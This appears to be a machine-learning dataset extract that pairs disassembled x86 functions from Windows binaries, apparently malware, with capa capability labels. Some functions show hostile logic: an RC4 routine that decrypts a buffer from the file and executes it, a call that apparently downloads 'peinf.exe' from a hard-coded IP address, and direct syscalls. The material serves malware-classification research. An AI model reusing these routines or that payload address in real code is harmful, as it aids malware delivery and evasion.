joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009e00
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10010408], eax
je 0x10009e1d
mov eax, 0x10dd
jmp 0x10009f00
mov eax, dword [0x10010418]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009e9c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10009e78
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10009e78
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10008ca0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.1000b2ce
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10009e25
mov dword [0x10010418], 0
call fcn.10009580
mov ecx, dword [0x10010414]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10009eea
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1000b2ce
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10009eb4
mov dword [0x10010414], 0
mov dword [0x10010408], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000a3e0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1001040c], 0
je 0x1000a3f9
mov eax, dword [0x1001040c]
jmp 0x1000a498
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x1000a40a
xor eax, eax
jmp 0x1000a498
push 8
call fcn.1000b2e1
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a462
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1000a44b
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.1000b2ce
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1001040c], eax
mov dword [0x10010410], 0
mov eax, dword [ebp - 8]
jmp 0x1000a498
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1000a47a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1000a42a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10010414]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10010414], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x401038
Capabilities:
Get common file path

Disassembly:
push edi
sub esp, 0x200
mov edi, esp
push 0x78
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
lea edx, [edi + 0x7c]
xor ecx, ecx
push ecx
push ecx
push ecx
push edx
push ecx
push edi
add edi, eax
mov eax, 0x69636d5c
stosd dword es:[edi], eax
mov eax, 0x33697661
stosd dword es:[edi], eax
mov eax, 0x6c642e32
stosd dword es:[edi], eax
mov eax, 0x6c
stosd dword es:[edi], eax
call sub.KERNEL32.dll_FindFirstFileExA
add esp, 0x200
pop edi
cmp eax, 1
jg 0x401080
ret
pushal
jmp fcn.0040129c

Function at 0x401438
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
push edi
push edx
push esi
push ebx
push eax
call fcn.004014f8
pop edi
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, 0x18
push ebx
call sub.KERNEL32.dll_Sleep
pop ebp
ret 0x10

Function at 0x40151c
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
lea edx, [0x403170]
push edx
push esi
mov esi, esp
push esi
push 0x2b
add dword [esp], 0x15
push 0xfffffe6c
add dword [esp], 0xaec
push section..data
sub eax, eax
sub eax, sym.imp.KERNEL32.dll_VirtualProtect
neg eax
call dword [eax]
pop esi
pop edx
mov esi, 0x403400
mov dword [edx - 0x44], esi
lea edi, [esi + 0xbf]
mov eax, 0x4020f9
xor ebx, ebx
mov ecx, dword [eax]
add eax, 3
inc eax
mov dword [edi - 0xbf], ecx
add edi, 4
xor dword [edi - 0xc3], 0x7369a3c7
sub dword [edi - 0xc3], 0x4eac6723
add ebx, 4
cmp ebx, 0x558
jne 0x401563
push edx
push 0
call sub.KERNEL32.dll_ResetEvent
pop edx
pop ebp
ret 8
Function at 0x401000
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
xor eax, eax
mov byte [eax + 0x416578], al
add eax, 1
cmp eax, 0x100
jne 0x401002
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
xor ecx, ecx
push edi
mov edi, dword [esp + 0x18]
mov dword [0x415f64], esi
mov dword [0x41616c], ecx
mov edi, edi
xor edx, edx
mov eax, ecx
div edi
mov bl, byte [ecx + 0x416578]
add ecx, 1
movzx eax, byte [edx + ebp]
movzx edx, bl
add edx, esi
add eax, edx
and eax, 0xff
cmp ecx, 0x100
mov esi, eax
movzx eax, byte [esi + 0x416578]
mov byte [ecx + 0x416577], al
mov dword [0x415f64], esi
mov byte [0x416174], bl
mov byte [esi + 0x416578], bl
mov dword [0x41616c], ecx
jne 0x401030
pop edi
pop esi
xor eax, eax
pop ebp
mov dword [0x415f64], eax
mov dword [0x41616c], eax
pop ebx
ret

Function at 0x4010a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push str.kcKUkzxc.cmxz
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0x200
push 0x416178
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push 0x416178
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 7
mov esi, eax
push 4
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xf55c8
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor esi, esi
xor ebx, ebx
jmp 0x401120
cmp dword [ebp - 0x28], 0xe
je 0x40112c
cmp dword [ebp - 0x20], 4
jne 0x401131
mov ebx, 0x6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x1388
jbe 0x401145
cmp dword [ebp - 0x10], 0
je 0x401151
push 0x18
call edi
add esi, 1
cmp ebx, 0x6f
jne 0x401120
mov edi, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
push 0
lea ecx, [ebp - 8]
push ecx
push 0xf4240
push edi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [str.zSfEF8dl54yea]
cmp byte [ecx], 0
mov eax, ecx
je 0x40117f
add eax, 1
cmp byte [eax], 0
jne 0x401177
sub eax, ecx
push eax
push ecx
call fcn.00401000
add esp, 8
add edi, 0x3000
mov esi, 0xaae60
mov eax, dword [0x41616c]
add eax, 1
and eax, 0xff
mov dword [0x41616c], eax
movzx eax, byte [eax + 0x416578]
add eax, dword [0x415f64]
push str.eioOIklLdlc
push 0
and eax, 0xff
push 2
mov dword [0x415f64], eax
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov eax, dword [0x415f64]
mov edx, dword [0x41616c]
mov bl, byte [edx + 0x416578]
mov cl, byte [eax + 0x416578]
mov byte [eax + 0x416578], bl
mov byte [edx + 0x416578], cl
movzx edx, byte [eax + 0x416578]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
mov byte [0x416175], cl
jns 0x401213
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [edx + 0x416578]
mov byte [0x416678], al
xor byte [esi + edi], al
sub esi, 1
test esi, esi
jg 0x401196
mov dword [ebp - 4], edi
call dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012a0
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 0x10], 0x16d1067
jne 0x4012b2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [str.Mkldi__uie_oxc]
mov ecx, dword [0x4021b8]
mov edx, dword [0x4021bc]
mov dword [0x416378], eax
movzx eax, word [0x4021c0]
mov word [0x416384], ax
movzx eax, word [0x4021b0]
push esi
mov esi, dword [esp + 8]
mov dword [0x41637c], ecx
mov cl, byte [0x4021c2]
mov dword [0x416380], edx
mov edx, dword [str.cmiIE]
push esi
mov byte [0x416386], cl
mov dword [0x415f68], edx
mov word [0x415f6c], ax
call fcn.00401240
push 0x23e
push 0x415f68
push 1
push 0x9d
mov dword [0x416168], esi
mov dword [0x415f60], 0
call fcn.004010a0
add esp, 0x14
xor eax, eax
pop esi
ret 0x10
Function at 0x414f6f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00415300
mov ebx, esp
lea eax, [ebp - 0x24]
push 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x414fc8
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
call fcn.00415023
dec eax
neg eax
sbb eax, eax
and ax, 0x1000
add eax, 0x11000
add eax, edi
cmp esi, eax
jae 0x414fcc
xor eax, eax
jmp 0x41501b
call fcn.00415023
cmp eax, 1
je 0x414ffc
cmp esi, edi
jbe 0x414feb
mov eax, esi
push 0x4000
sub eax, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x1000
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call fcn.00415023
dec eax
lea ecx, [ebp - 8]
neg eax
sbb eax, eax
push ecx
and eax, 0x103
inc eax
push eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401360
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022e8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013c1
xor al, al
jmp 0x4013fb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013f9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401360
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea ecx, [ebp - 0x410]
push ecx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x410]
push edx
push str._swindrx.txt
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401475
push str.http:__185.215.113.66_peinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48b004]
jne 0x401010
repz ret
jmp fcn.004017e1

Function at 0x406b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040250a
and dword [ebp - 4], 0
cmp dword [0x48cffc], 0
mov ebx, eax
jne 0x406c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406ce0
push eax
call fcn.00402498
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x48cffc], eax
call esi
push eax
call fcn.00402498
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48d000], eax
call esi
push eax
call fcn.00402498
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x48d004], eax
call esi
push eax
call fcn.00402498
pop ecx
mov dword [0x48d00c], eax
test eax, eax
je 0x406c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402498
pop ecx
mov dword [0x48d008], eax
mov eax, dword [0x48d008]
cmp eax, ebx
je 0x406c87
cmp dword [0x48d00c], ebx
je 0x406c87
push eax
call fcn.00402513
push dword [0x48d00c]
mov esi, eax
call fcn.00402513
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406c87
test edi, edi
je 0x406c87
call esi
test eax, eax
je 0x406c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406c7e
test byte [ebp - 0xc], 1
jne 0x406c87
or dword [ebp + 0x10], 0x200000
jmp 0x406cc0
mov eax, dword [0x48d000]
cmp eax, ebx
je 0x406cc0
push eax
call fcn.00402513
pop ecx
test eax, eax
je 0x406cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406cc0
mov eax, dword [0x48d004]
cmp eax, ebx
je 0x406cc0
push eax
call fcn.00402513
pop ecx
test eax, eax
je 0x406cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x48cffc]
call fcn.00402513
pop ecx
test eax, eax
je 0x406ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x484170
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
push edi
cmp ebp, 0x19f
jne 0x484191
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
test ebp, ebp
jle 0x4841e6
push esi
jmp 0x4841a0
lea esi, [esp + 0x10]
mov dword [esp + 0xc], 5
mov dword [esp + 0x10], 0
call fcn.00484160
mov eax, dword [esp + 0x10]
add eax, 0x46
mov dword [esp + 0xc], eax
sub dword [esp + 0xc], 0x46
movsx eax, byte [edi + ebx]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xc]
xor dword [esp + 0x18], eax
mov cl, byte [esp + 0x18]
mov byte [edi + ebx], cl
inc edi
cmp edi, ebp
jl 0x4841a0
pop esi
pop edi
cmp ebp, 0x2d
pop ebp
jne 0x484201
mov dword [0x2b8b218], 0xa62e7790
mov dword [0x2b8b21c], 0xffffffff
add esp, 8
ret
Function at 0x604370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x60438e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x62d074
push ecx
mov edi, eax
call fcn.00618198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6043cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0061802e
push esi
call fcn.00617fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x607850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6078ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x632720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6078ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006181e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6078ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x632720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x60792a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00619082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x607957
mov word [eax], si
add eax, 2
push eax
call fcn.00619030
add esp, 4
jmp 0x607959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6078ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6078b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x607ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x608080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6080c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x62d458
push ecx
call fcn.006181e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006181e1
add esp, 0x10
jmp 0x6080d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0061820b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00617dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00608050
mov eax, dword [0x632728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x60813b
push esi
call fcn.00607fb0
add esp, 4
mov dword [0x632728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x60814c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00607ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x60b440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x60b4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x60b48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x60b471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x60b47e
add edx, ecx
cmp ebx, edx
jb 0x60b48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x60b467
xor ecx, ecx
jmp 0x60b4a2
test eax, eax
jne 0x60b492
xor ecx, ecx
jmp 0x60b4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.0060b3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x60b8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x60b921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x60b946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x60b96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x60b993
push ecx
push esi
call fcn.0060b4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x60cc00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x60cc4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x60cc2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x60cc38
add edx, eax
cmp ebx, edx
jb 0x60cc46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x60cc21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x60cc50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x60cc70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x60ccb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x60cc9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x60cca8
add edx, ecx
cmp ebx, edx
jb 0x60ccb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x60cc91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x60cf60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00619145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x60cffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x60cfdd
lea eax, [esp + 0x18]
push eax
jmp 0x60cfe2
push 0x632720
call fcn.00618fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x60cfb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x60cf40
push 4
push ecx
push eax
call fcn.0061943f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x60d310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00619145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x60d3ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x60d38d
lea eax, [esp + 0x18]
push eax
jmp 0x60d392
push 0x632720
call fcn.00618fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x60d360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x60cf40
push 4
push ecx
push eax
call fcn.0061943f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret